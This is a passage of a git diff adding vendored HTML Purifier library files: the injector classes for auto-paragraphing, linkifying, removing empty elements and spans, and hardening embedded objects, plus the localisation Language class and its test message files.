+ if (!$result) {
+ return false;
+ }
+ if ($nesting === null) {
+ $nesting = 0;
+ }
+ if ($current instanceof HTMLPurifier_Token_Start) {
+ $nesting++;
+ } elseif ($current instanceof HTMLPurifier_Token_End) {
+ if ($nesting <= 0) {
+ return false;
+ }
+ $nesting--;
+ }
+ return true;
+ }
+
+ /**
+ * Iterator function, starts with the previous token and continues until
+ * you reach the beginning of input tokens.
+ * @warning Please prevent previous references from interfering with this
+ * functions by setting $i = null beforehand!
+ * @param int $i Current integer index variable for inputTokens
+ * @param HTMLPurifier_Token $current Current token variable.
+ * Do NOT use $token, as that variable is also a reference
+ * @return bool
+ */
+ protected function backward(&$i, &$current)
+ {
+ if ($i === null) {
+ $i = count($this->inputZipper->front) - 1;
+ } else {
+ $i--;
+ }
+ if ($i < 0) {
+ return false;
+ }
+ $current = $this->inputZipper->front[$i];
+ return true;
+ }
+
+ /**
+ * Handler that is called when a text token is processed
+ */
+ public function handleText(&$token)
+ {
+ }
+
+ /**
+ * Handler that is called when a start or empty token is processed
+ */
+ public function handleElement(&$token)
+ {
+ }
+
+ /**
+ * Handler that is called when an end token is processed
+ */
+ public function handleEnd(&$token)
+ {
+ $this->notifyEnd($token);
+ }
+
+ /**
+ * Notifier that is called when an end token is processed
+ * @param HTMLPurifier_Token $token Current token variable.
+ * @note This differs from handlers in that the token is read-only
+ * @deprecated
+ */
+ public function notifyEnd($token)
+ {
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/AutoParagraph.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/AutoParagraph.php
new file mode 100644
index 000000000..4afdd128d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/AutoParagraph.php
@@ -0,0 +1,356 @@
+<?php
+
+/**
+ * Injector that auto paragraphs text in the root node based on
+ * double-spacing.
+ * @todo Ensure all states are unit tested, including variations as well.
+ * @todo Make a graph of the flow control for this Injector.
+ */
+class HTMLPurifier_Injector_AutoParagraph extends HTMLPurifier_Injector
+{
+ /**
+ * @type string
+ */
+ public $name = 'AutoParagraph';
+
+ /**
+ * @type array
+ */
+ public $needed = array('p');
+
+ /**
+ * @return HTMLPurifier_Token_Start
+ */
+ private function _pStart()
+ {
+ $par = new HTMLPurifier_Token_Start('p');
+ $par->armor['MakeWellFormed_TagClosedError'] = true;
+ return $par;
+ }
+
+ /**
+ * @param HTMLPurifier_Token_Text $token
+ */
+ public function handleText(&$token)
+ {
+ $text = $token->data;
+ // Does the current parent allow <p> tags?
+ if ($this->allowsElement('p')) {
+ if (empty($this->currentNesting) || strpos($text, "\n\n") !== false) {
+ // Note that we have differing behavior when dealing with text
+ // in the anonymous root node, or a node inside the document.
+ // If the text as a double-newline, the treatment is the same;
+ // if it doesn't, see the next if-block if you're in the document.
+
+ $i = $nesting = null;
+ if (!$this->forwardUntilEndToken($i, $current, $nesting) && $token->is_whitespace) {
+ // State 1.1: ... ^ (whitespace, then document end)
+ // ----
+ // This is a degenerate case
+ } else {
+ if (!$token->is_whitespace || $this->_isInline($current)) {
+ // State 1.2: PAR1
+ // ----
+
+ // State 1.3: PAR1\n\nPAR2
+ // ------------
+
+ // State 1.4: <div>PAR1\n\nPAR2 (see State 2)
+ // ------------
+ $token = array($this->_pStart());
+ $this->_splitText($text, $token);
+ } else {
+ // State 1.5: \n<hr />
+ // --
+ }
+ }
+ } else {
+ // State 2: <div>PAR1... (similar to 1.4)
+ // ----
+
+ // We're in an element that allows paragraph tags, but we're not
+ // sure if we're going to need them.
+ if ($this->_pLookAhead()) {
+ // State 2.1: <div>PAR1<b>PAR1\n\nPAR2
+ // ----
+ // Note: This will always be the first child, since any
+ // previous inline element would have triggered this very
+ // same routine, and found the double newline. One possible
+ // exception would be a comment.
+ $token = array($this->_pStart(), $token);
+ } else {
+ // State 2.2.1: <div>PAR1<div>
+ // ----
+
+ // State 2.2.2: <div>PAR1<b>PAR1</b></div>
+ // ----
+ }
+ }
+ // Is the current parent a <p> tag?
+ } elseif (!empty($this->currentNesting) &&
+ $this->currentNesting[count($this->currentNesting) - 1]->name == 'p') {
+ // State 3.1: ...<p>PAR1
+ // ----
+
+ // State 3.2: ...<p>PAR1\n\nPAR2
+ // ------------
+ $token = array();
+ $this->_splitText($text, $token);
+ // Abort!
+ } else {
+ // State 4.1: ...<b>PAR1
+ // ----
+
+ // State 4.2: ...<b>PAR1\n\nPAR2
+ // ------------
+ }
+ }
+
+ /**
+ * @param HTMLPurifier_Token $token
+ */
+ public function handleElement(&$token)
+ {
+ // We don't have to check if we're already in a <p> tag for block
+ // tokens, because the tag would have been autoclosed by MakeWellFormed.
+ if ($this->allowsElement('p')) {
+ if (!empty($this->currentNesting)) {
+ if ($this->_isInline($token)) {
+ // State 1: <div>...<b>
+ // ---
+ // Check if this token is adjacent to the parent token
+ // (seek backwards until token isn't whitespace)
+ $i = null;
+ $this->backward($i, $prev);
+
+ if (!$prev instanceof HTMLPurifier_Token_Start) {
+ // Token wasn't adjacent
+ if ($prev instanceof HTMLPurifier_Token_Text &&
+ substr($prev->data, -2) === "\n\n"
+ ) {
+ // State 1.1.4: <div><p>PAR1</p>\n\n<b>
+ // ---
+ // Quite frankly, this should be handled by splitText
+ $token = array($this->_pStart(), $token);
+ } else {
+ // State 1.1.1: <div><p>PAR1</p><b>
+ // ---
+ // State 1.1.2: <div><br /><b>
+ // ---
+ // State 1.1.3: <div>PAR<b>
+ // ---
+ }
+ } else {
+ // State 1.2.1: <div><b>
+ // ---
+ // Lookahead to see if <p> is needed.
+ if ($this->_pLookAhead()) {
+ // State 1.3.1: <div><b>PAR1\n\nPAR2
+ // ---
+ $token = array($this->_pStart(), $token);
+ } else {
+ // State 1.3.2: <div><b>PAR1</b></div>
+ // ---
+
+ // State 1.3.3: <div><b>PAR1</b><div></div>\n\n</div>
+ // ---
+ }
+ }
+ } else {
+ // State 2.3: ...<div>
+ // -----
+ }
+ } else {
+ if ($this->_isInline($token)) {
+ // State 3.1: <b>
+ // ---
+ // This is where the {p} tag is inserted, not reflected in
+ // inputTokens yet, however.
+ $token = array($this->_pStart(), $token);
+ } else {
+ // State 3.2: <div>
+ // -----
+ }
+
+ $i = null;
+ if ($this->backward($i, $prev)) {
+ if (!$prev instanceof HTMLPurifier_Token_Text) {
+ // State 3.1.1: ...</p>{p}<b>
+ // ---
+ // State 3.2.1: ...</p><div>
+ // -----
+ if (!is_array($token)) {
+ $token = array($token);
+ }
+ array_unshift($token, new HTMLPurifier_Token_Text("\n\n"));
+ } else {
+ // State 3.1.2: ...</p>\n\n{p}<b>
+ // ---
+ // State 3.2.2: ...</p>\n\n<div>
+ // -----
+ // Note: PAR<ELEM> cannot occur because PAR would have been
+ // wrapped in <p> tags.
+ }
+ }
+ }
+ } else {
+ // State 2.2: <ul><li>
+ // ----
+ // State 2.4: <p><b>
+ // ---
+ }
+ }
+
+ /**
+ * Splits up a text in paragraph tokens and appends them
+ * to the result stream that will replace the original
+ * @param string $data String text data that will be processed
+ * into paragraphs
+ * @param HTMLPurifier_Token[] $result Reference to array of tokens that the
+ * tags will be appended onto
+ */
+ private function _splitText($data, &$result)
+ {
+ $raw_paragraphs = explode("\n\n", $data);
+ $paragraphs = array(); // without empty paragraphs
+ $needs_start = false;
+ $needs_end = false;
+
+ $c = count($raw_paragraphs);
+ if ($c == 1) {
+ // There were no double-newlines, abort quickly. In theory this
+ // should never happen.
+ $result[] = new HTMLPurifier_Token_Text($data);
+ return;
+ }
+ for ($i = 0; $i < $c; $i++) {
+ $par = $raw_paragraphs[$i];
+ if (trim($par) !== '') {
+ $paragraphs[] = $par;
+ } else {
+ if ($i == 0) {
+ // Double newline at the front
+ if (empty($result)) {
+ // The empty result indicates that the AutoParagraph
+ // injector did not add any start paragraph tokens.
+ // This means that we have been in a paragraph for
+ // a while, and the newline means we should start a new one.
+ $result[] = new HTMLPurifier_Token_End('p');
+ $result[] = new HTMLPurifier_Token_Text("\n\n");
+ // However, the start token should only be added if
+ // there is more processing to be done (i.e. there are
+ // real paragraphs in here). If there are none, the
+ // next start paragraph tag will be handled by the
+ // next call to the injector
+ $needs_start = true;
+ } else {
+ // We just started a new paragraph!
+ // Reinstate a double-newline for presentation's sake, since
+ // it was in the source code.
+ array_unshift($result, new HTMLPurifier_Token_Text("\n\n"));
+ }
+ } elseif ($i + 1 == $c) {
+ // Double newline at the end
+ // There should be a trailing </p> when we're finally done.
+ $needs_end = true;
+ }
+ }
+ }
+
+ // Check if this was just a giant blob of whitespace. Move this earlier,
+ // perhaps?
+ if (empty($paragraphs)) {
+ return;
+ }
+
+ // Add the start tag indicated by \n\n at the beginning of $data
+ if ($needs_start) {
+ $result[] = $this->_pStart();
+ }
+
+ // Append the paragraphs onto the result
+ foreach ($paragraphs as $par) {
+ $result[] = new HTMLPurifier_Token_Text($par);
+ $result[] = new HTMLPurifier_Token_End('p');
+ $result[] = new HTMLPurifier_Token_Text("\n\n");
+ $result[] = $this->_pStart();
+ }
+
+ // Remove trailing start token; Injector will handle this later if
+ // it was indeed needed. This prevents from needing to do a lookahead,
+ // at the cost of a lookbehind later.
+ array_pop($result);
+
+ // If there is no need for an end tag, remove all of it and let
+ // MakeWellFormed close it later.
+ if (!$needs_end) {
+ array_pop($result); // removes \n\n
+ array_pop($result); // removes </p>
+ }
+ }
+
+ /**
+ * Returns true if passed token is inline (and, ergo, allowed in
+ * paragraph tags)
+ * @param HTMLPurifier_Token $token
+ * @return bool
+ */
+ private function _isInline($token)
+ {
+ return isset($this->htmlDefinition->info['p']->child->elements[$token->name]);
+ }
+
+ /**
+ * Looks ahead in the token list and determines whether or not we need
+ * to insert a <p> tag.
+ * @return bool
+ */
+ private function _pLookAhead()
+ {
+ if ($this->currentToken instanceof HTMLPurifier_Token_Start) {
+ $nesting = 1;
+ } else {
+ $nesting = 0;
+ }
+ $ok = false;
+ $i = null;
+ while ($this->forwardUntilEndToken($i, $current, $nesting)) {
+ $result = $this->_checkNeedsP($current);
+ if ($result !== null) {
+ $ok = $result;
+ break;
+ }
+ }
+ return $ok;
+ }
+
+ /**
+ * Determines if a particular token requires an earlier inline token
+ * to get a paragraph. This should be used with _forwardUntilEndToken
+ * @param HTMLPurifier_Token $current
+ * @return bool
+ */
+ private function _checkNeedsP($current)
+ {
+ if ($current instanceof HTMLPurifier_Token_Start) {
+ if (!$this->_isInline($current)) {
+ // <div>PAR1<div>
+ // ----
+ // Terminate early, since we hit a block element
+ return false;
+ }
+ } elseif ($current instanceof HTMLPurifier_Token_Text) {
+ if (strpos($current->data, "\n\n") !== false) {
+ // <div>PAR1<b>PAR1\n\nPAR2
+ // ----
+ return true;
+ } else {
+ // <div>PAR1<b>PAR1...
+ // ----
+ }
+ }
+ return null;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/DisplayLinkURI.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/DisplayLinkURI.php
new file mode 100644
index 000000000..c19b1bc27
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/DisplayLinkURI.php
@@ -0,0 +1,40 @@
+<?php
+
+/**
+ * Injector that displays the URL of an anchor instead of linking to it, in addition to showing the text of the link.
+ */
+class HTMLPurifier_Injector_DisplayLinkURI extends HTMLPurifier_Injector
+{
+ /**
+ * @type string
+ */
+ public $name = 'DisplayLinkURI';
+
+ /**
+ * @type array
+ */
+ public $needed = array('a');
+
+ /**
+ * @param $token
+ */
+ public function handleElement(&$token)
+ {
+ }
+
+ /**
+ * @param HTMLPurifier_Token $token
+ */
+ public function handleEnd(&$token)
+ {
+ if (isset($token->start->attr['href'])) {
+ $url = $token->start->attr['href'];
+ unset($token->start->attr['href']);
+ $token = array($token, new HTMLPurifier_Token_Text(" ($url)"));
+ } else {
+ // nothing to display
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/Linkify.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/Linkify.php
new file mode 100644
index 000000000..069708c25
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/Linkify.php
@@ -0,0 +1,59 @@
+<?php
+
+/**
+ * Injector that converts http, https and ftp text URLs to actual links.
+ */
+class HTMLPurifier_Injector_Linkify extends HTMLPurifier_Injector
+{
+ /**
+ * @type string
+ */
+ public $name = 'Linkify';
+
+ /**
+ * @type array
+ */
+ public $needed = array('a' => array('href'));
+
+ /**
+ * @param HTMLPurifier_Token $token
+ */
+ public function handleText(&$token)
+ {
+ if (!$this->allowsElement('a')) {
+ return;
+ }
+
+ if (strpos($token->data, '://') === false) {
+ // our really quick heuristic failed, abort
+ // this may not work so well if we want to match things like
+ // "google.com", but then again, most people don't
+ return;
+ }
+
+ // there is/are URL(s). Let's split the string:
+ // Note: this regex is extremely permissive
+ $bits = preg_split('#((?:https?|ftp)://[^\s\'",<>()]+)#Su', $token->data, -1, PREG_SPLIT_DELIM_CAPTURE);
+
+
+ $token = array();
+
+ // $i = index
+ // $c = count
+ // $l = is link
+ for ($i = 0, $c = count($bits), $l = false; $i < $c; $i++, $l = !$l) {
+ if (!$l) {
+ if ($bits[$i] === '') {
+ continue;
+ }
+ $token[] = new HTMLPurifier_Token_Text($bits[$i]);
+ } else {
+ $token[] = new HTMLPurifier_Token_Start('a', array('href' => $bits[$i]));
+ $token[] = new HTMLPurifier_Token_Text($bits[$i]);
+ $token[] = new HTMLPurifier_Token_End('a');
+ }
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/PurifierLinkify.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/PurifierLinkify.php
new file mode 100644
index 000000000..cb9046f33
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/PurifierLinkify.php
@@ -0,0 +1,71 @@
+<?php
+
+/**
+ * Injector that converts configuration directive syntax %Namespace.Directive
+ * to links
+ */
+class HTMLPurifier_Injector_PurifierLinkify extends HTMLPurifier_Injector
+{
+ /**
+ * @type string
+ */
+ public $name = 'PurifierLinkify';
+
+ /**
+ * @type string
+ */
+ public $docURL;
+
+ /**
+ * @type array
+ */
+ public $needed = array('a' => array('href'));
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return string
+ */
+ public function prepare($config, $context)
+ {
+ $this->docURL = $config->get('AutoFormat.PurifierLinkify.DocURL');
+ return parent::prepare($config, $context);
+ }
+
+ /**
+ * @param HTMLPurifier_Token $token
+ */
+ public function handleText(&$token)
+ {
+ if (!$this->allowsElement('a')) {
+ return;
+ }
+ if (strpos($token->data, '%') === false) {
+ return;
+ }
+
+ $bits = preg_split('#%([a-z0-9]+\.[a-z0-9]+)#Si', $token->data, -1, PREG_SPLIT_DELIM_CAPTURE);
+ $token = array();
+
+ // $i = index
+ // $c = count
+ // $l = is link
+ for ($i = 0, $c = count($bits), $l = false; $i < $c; $i++, $l = !$l) {
+ if (!$l) {
+ if ($bits[$i] === '') {
+ continue;
+ }
+ $token[] = new HTMLPurifier_Token_Text($bits[$i]);
+ } else {
+ $token[] = new HTMLPurifier_Token_Start(
+ 'a',
+ array('href' => str_replace('%s', $bits[$i], $this->docURL))
+ );
+ $token[] = new HTMLPurifier_Token_Text('%' . $bits[$i]);
+ $token[] = new HTMLPurifier_Token_End('a');
+ }
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/RemoveEmpty.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/RemoveEmpty.php
new file mode 100644
index 000000000..cd885722e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/RemoveEmpty.php
@@ -0,0 +1,101 @@
+<?php
+
+class HTMLPurifier_Injector_RemoveEmpty extends HTMLPurifier_Injector
+{
+ /**
+ * @type HTMLPurifier_Context
+ */
+ private $context;
+
+ /**
+ * @type HTMLPurifier_Config
+ */
+ private $config;
+
+ /**
+ * @type HTMLPurifier_AttrValidator
+ */
+ private $attrValidator;
+
+ /**
+ * @type bool
+ */
+ private $removeNbsp;
+
+ /**
+ * @type bool
+ */
+ private $removeNbspExceptions;
+
+ /**
+ * @type array
+ * TODO: make me configurable
+ */
+ private $_exclude = array('colgroup' => 1, 'th' => 1, 'td' => 1, 'iframe' => 1);
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return void
+ */
+ public function prepare($config, $context)
+ {
+ parent::prepare($config, $context);
+ $this->config = $config;
+ $this->context = $context;
+ $this->removeNbsp = $config->get('AutoFormat.RemoveEmpty.RemoveNbsp');
+ $this->removeNbspExceptions = $config->get('AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions');
+ $this->attrValidator = new HTMLPurifier_AttrValidator();
+ }
+
+ /**
+ * @param HTMLPurifier_Token $token
+ */
+ public function handleElement(&$token)
+ {
+ if (!$token instanceof HTMLPurifier_Token_Start) {
+ return;
+ }
+ $next = false;
+ $deleted = 1; // the current tag
+ for ($i = count($this->inputZipper->back) - 1; $i >= 0; $i--, $deleted++) {
+ $next = $this->inputZipper->back[$i];
+ if ($next instanceof HTMLPurifier_Token_Text) {
+ if ($next->is_whitespace) {
+ continue;
+ }
+ if ($this->removeNbsp && !isset($this->removeNbspExceptions[$token->name])) {
+ $plain = str_replace("\xC2\xA0", "", $next->data);
+ $isWsOrNbsp = $plain === '' || ctype_space($plain);
+ if ($isWsOrNbsp) {
+ continue;
+ }
+ }
+ }
+ break;
+ }
+ if (!$next || ($next instanceof HTMLPurifier_Token_End && $next->name == $token->name)) {
+ if (isset($this->_exclude[$token->name])) {
+ return;
+ }
+ $this->attrValidator->validateToken($token, $this->config, $this->context);
+ $token->armor['ValidateAttributes'] = true;
+ if (isset($token->attr['id']) || isset($token->attr['name'])) {
+ return;
+ }
+ $token = $deleted + 1;
+ for ($b = 0, $c = count($this->inputZipper->front); $b < $c; $b++) {
+ $prev = $this->inputZipper->front[$b];
+ if ($prev instanceof HTMLPurifier_Token_Text && $prev->is_whitespace) {
+ continue;
+ }
+ break;
+ }
+ // This is safe because we removed the token that triggered this.
+ $this->rewindOffset($b+$deleted);
+ return;
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php
new file mode 100644
index 000000000..9ee7aa84d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php
@@ -0,0 +1,84 @@
+<?php
+
+/**
+ * Injector that removes spans with no attributes
+ */
+class HTMLPurifier_Injector_RemoveSpansWithoutAttributes extends HTMLPurifier_Injector
+{
+ /**
+ * @type string
+ */
+ public $name = 'RemoveSpansWithoutAttributes';
+
+ /**
+ * @type array
+ */
+ public $needed = array('span');
+
+ /**
+ * @type HTMLPurifier_AttrValidator
+ */
+ private $attrValidator;
+
+ /**
+ * Used by AttrValidator.
+ * @type HTMLPurifier_Config
+ */
+ private $config;
+
+ /**
+ * @type HTMLPurifier_Context
+ */
+ private $context;
+
+ public function prepare($config, $context)
+ {
+ $this->attrValidator = new HTMLPurifier_AttrValidator();
+ $this->config = $config;
+ $this->context = $context;
+ return parent::prepare($config, $context);
+ }
+
+ /**
+ * @param HTMLPurifier_Token $token
+ */
+ public function handleElement(&$token)
+ {
+ if ($token->name !== 'span' || !$token instanceof HTMLPurifier_Token_Start) {
+ return;
+ }
+
+ // We need to validate the attributes now since this doesn't normally
+ // happen until after MakeWellFormed. If all the attributes are removed
+ // the span needs to be removed too.
+ $this->attrValidator->validateToken($token, $this->config, $this->context);
+ $token->armor['ValidateAttributes'] = true;
+
+ if (!empty($token->attr)) {
+ return;
+ }
+
+ $nesting = 0;
+ while ($this->forwardUntilEndToken($i, $current, $nesting)) {
+ }
+
+ if ($current instanceof HTMLPurifier_Token_End && $current->name === 'span') {
+ // Mark closing span tag for deletion
+ $current->markForDeletion = true;
+ // Delete open span tag
+ $token = false;
+ }
+ }
+
+ /**
+ * @param HTMLPurifier_Token $token
+ */
+ public function handleEnd(&$token)
+ {
+ if ($token->markForDeletion) {
+ $token = false;
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/SafeObject.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/SafeObject.php
new file mode 100644
index 000000000..3d17e07af
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/SafeObject.php
@@ -0,0 +1,121 @@
+<?php
+
+/**
+ * Adds important param elements to inside of object in order to make
+ * things safe.
+ */
+class HTMLPurifier_Injector_SafeObject extends HTMLPurifier_Injector
+{
+ /**
+ * @type string
+ */
+ public $name = 'SafeObject';
+
+ /**
+ * @type array
+ */
+ public $needed = array('object', 'param');
+
+ /**
+ * @type array
+ */
+ protected $objectStack = array();
+
+ /**
+ * @type array
+ */
+ protected $paramStack = array();
+
+ /**
+ * Keep this synchronized with AttrTransform/SafeParam.php.
+ * @type array
+ */
+ protected $addParam = array(
+ 'allowScriptAccess' => 'never',
+ 'allowNetworking' => 'internal',
+ );
+
+ /**
+ * @type array
+ */
+ protected $allowedParam = array(
+ 'wmode' => true,
+ 'movie' => true,
+ 'flashvars' => true,
+ 'src' => true,
+ 'allowFullScreen' => true, // if omitted, assume to be 'false'
+ );
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return void
+ */
+ public function prepare($config, $context)
+ {
+ parent::prepare($config, $context);
+ }
+
+ /**
+ * @param HTMLPurifier_Token $token
+ */
+ public function handleElement(&$token)
+ {
+ if ($token->name == 'object') {
+ $this->objectStack[] = $token;
+ $this->paramStack[] = array();
+ $new = array($token);
+ foreach ($this->addParam as $name => $value) {
+ $new[] = new HTMLPurifier_Token_Empty('param', array('name' => $name, 'value' => $value));
+ }
+ $token = $new;
+ } elseif ($token->name == 'param') {
+ $nest = count($this->currentNesting) - 1;
+ if ($nest >= 0 && $this->currentNesting[$nest]->name === 'object') {
+ $i = count($this->objectStack) - 1;
+ if (!isset($token->attr['name'])) {
+ $token = false;
+ return;
+ }
+ $n = $token->attr['name'];
+ // We need this fix because YouTube doesn't supply a data
+ // attribute, which we need if a type is specified. This is
+ // *very* Flash specific.
+ if (!isset($this->objectStack[$i]->attr['data']) &&
+ ($token->attr['name'] == 'movie' || $token->attr['name'] == 'src')
+ ) {
+ $this->objectStack[$i]->attr['data'] = $token->attr['value'];
+ }
+ // Check if the parameter is the correct value but has not
+ // already been added
+ if (!isset($this->paramStack[$i][$n]) &&
+ isset($this->addParam[$n]) &&
+ $token->attr['name'] === $this->addParam[$n]) {
+ // keep token, and add to param stack
+ $this->paramStack[$i][$n] = true;
+ } elseif (isset($this->allowedParam[$n])) {
+ // keep token, don't do anything to it
+ // (could possibly check for duplicates here)
+ } else {
+ $token = false;
+ }
+ } else {
+ // not directly inside an object, DENY!
+ $token = false;
+ }
+ }
+ }
+
+ public function handleEnd(&$token)
+ {
+ // This is the WRONG way of handling the object and param stacks;
+ // we should be inserting them directly on the relevant object tokens
+ // so that the global stack handling handles it.
+ if ($token->name == 'object') {
+ array_pop($this->objectStack);
+ array_pop($this->paramStack);
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language.php
new file mode 100644
index 000000000..65277dd43
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language.php
@@ -0,0 +1,204 @@
+<?php
+
+/**
+ * Represents a language and defines localizable string formatting and
+ * other functions, as well as the localized messages for HTML Purifier.
+ */
+class HTMLPurifier_Language
+{
+
+ /**
+ * ISO 639 language code of language. Prefers shortest possible version.
+ * @type string
+ */
+ public $code = 'en';
+
+ /**
+ * Fallback language code.
+ * @type bool|string
+ */
+ public $fallback = false;
+
+ /**
+ * Array of localizable messages.
+ * @type array
+ */
+ public $messages = array();
+
+ /**
+ * Array of localizable error codes.
+ * @type array
+ */
+ public $errorNames = array();
+
+ /**
+ * True if no message file was found for this language, so English
+ * is being used instead. Check this if you'd like to notify the
+ * user that they've used a non-supported language.
+ * @type bool
+ */
+ public $error = false;
+
+ /**
+ * Has the language object been loaded yet?
+ * @type bool
+ * @todo Make it private, fix usage in HTMLPurifier_LanguageTest
+ */
+ public $_loaded = false;
+
+ /**
+ * @type HTMLPurifier_Config
+ */
+ protected $config;
+
+ /**
+ * @type HTMLPurifier_Context
+ */
+ protected $context;
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ */
+ public function __construct($config, $context)
+ {
+ $this->config = $config;
+ $this->context = $context;
+ }
+
+ /**
+ * Loads language object with necessary info from factory cache
+ * @note This is a lazy loader
+ */
+ public function load()
+ {
+ if ($this->_loaded) {
+ return;
+ }
+ $factory = HTMLPurifier_LanguageFactory::instance();
+ $factory->loadLanguage($this->code);
+ foreach ($factory->keys as $key) {
+ $this->$key = $factory->cache[$this->code][$key];
+ }
+ $this->_loaded = true;
+ }
+
+ /**
+ * Retrieves a localised message.
+ * @param string $key string identifier of message
+ * @return string localised message
+ */
+ public function getMessage($key)
+ {
+ if (!$this->_loaded) {
+ $this->load();
+ }
+ if (!isset($this->messages[$key])) {
+ return "[$key]";
+ }
+ return $this->messages[$key];
+ }
+
+ /**
+ * Retrieves a localised error name.
+ * @param int $int error number, corresponding to PHP's error reporting
+ * @return string localised message
+ */
+ public function getErrorName($int)
+ {
+ if (!$this->_loaded) {
+ $this->load();
+ }
+ if (!isset($this->errorNames[$int])) {
+ return "[Error: $int]";
+ }
+ return $this->errorNames[$int];
+ }
+
+ /**
+ * Converts an array list into a string readable representation
+ * @param array $array
+ * @return string
+ */
+ public function listify($array)
+ {
+ $sep = $this->getMessage('Item separator');
+ $sep_last = $this->getMessage('Item separator last');
+ $ret = '';
+ for ($i = 0, $c = count($array); $i < $c; $i++) {
+ if ($i == 0) {
+ } elseif ($i + 1 < $c) {
+ $ret .= $sep;
+ } else {
+ $ret .= $sep_last;
+ }
+ $ret .= $array[$i];
+ }
+ return $ret;
+ }
+
+ /**
+ * Formats a localised message with passed parameters
+ * @param string $key string identifier of message
+ * @param array $args Parameters to substitute in
+ * @return string localised message
+ * @todo Implement conditionals? Right now, some messages make
+ * reference to line numbers, but those aren't always available
+ */
+ public function formatMessage($key, $args = array())
+ {
+ if (!$this->_loaded) {
+ $this->load();
+ }
+ if (!isset($this->messages[$key])) {
+ return "[$key]";
+ }
+ $raw = $this->messages[$key];
+ $subst = array();
+ $generator = false;
+ foreach ($args as $i => $value) {
+ if (is_object($value)) {
+ if ($value instanceof HTMLPurifier_Token) {
+ // factor this out some time
+ if (!$generator) {
+ $generator = $this->context->get('Generator');
+ }
+ if (isset($value->name)) {
+ $subst['$'.$i.'.Name'] = $value->name;
+ }
+ if (isset($value->data)) {
+ $subst['$'.$i.'.Data'] = $value->data;
+ }
+ $subst['$'.$i.'.Compact'] =
+ $subst['$'.$i.'.Serialized'] = $generator->generateFromToken($value);
+ // a more complex algorithm for compact representation
+ // could be introduced for all types of tokens. This
+ // may need to be factored out into a dedicated class
+ if (!empty($value->attr)) {
+ $stripped_token = clone $value;
+ $stripped_token->attr = array();
+ $subst['$'.$i.'.Compact'] = $generator->generateFromToken($stripped_token);
+ }
+ $subst['$'.$i.'.Line'] = $value->line ? $value->line : 'unknown';
+ }
+ continue;
+ } elseif (is_array($value)) {
+ $keys = array_keys($value);
+ if (array_keys($keys) === $keys) {
+ // list
+ $subst['$'.$i] = $this->listify($value);
+ } else {
+ // associative array
+ // no $i implementation yet, sorry
+ $subst['$'.$i.'.Keys'] = $this->listify($keys);
+ $subst['$'.$i.'.Values'] = $this->listify(array_values($value));
+ }
+ continue;
+ }
+ $subst['$' . $i] = $value;
+ }
+ return strtr($raw, $subst);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/classes/en-x-test.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/classes/en-x-test.php
new file mode 100644
index 000000000..8828f5cde
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/classes/en-x-test.php
@@ -0,0 +1,9 @@
+<?php
+
+// private class for unit testing
+
+class HTMLPurifier_Language_en_x_test extends HTMLPurifier_Language
+{
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en-x-test.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en-x-test.php
new file mode 100644
index 000000000..1c046f379
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en-x-test.php
@@ -0,0 +1,11 @@
+<?php
+
+// private language message file for unit testing purposes
+
+$fallback = 'en';
+
+$messages = array(
+ 'HTMLPurifier' => 'HTML Purifier X'
+);
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en-x-testmini.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en-x-testmini.php
new file mode 100644
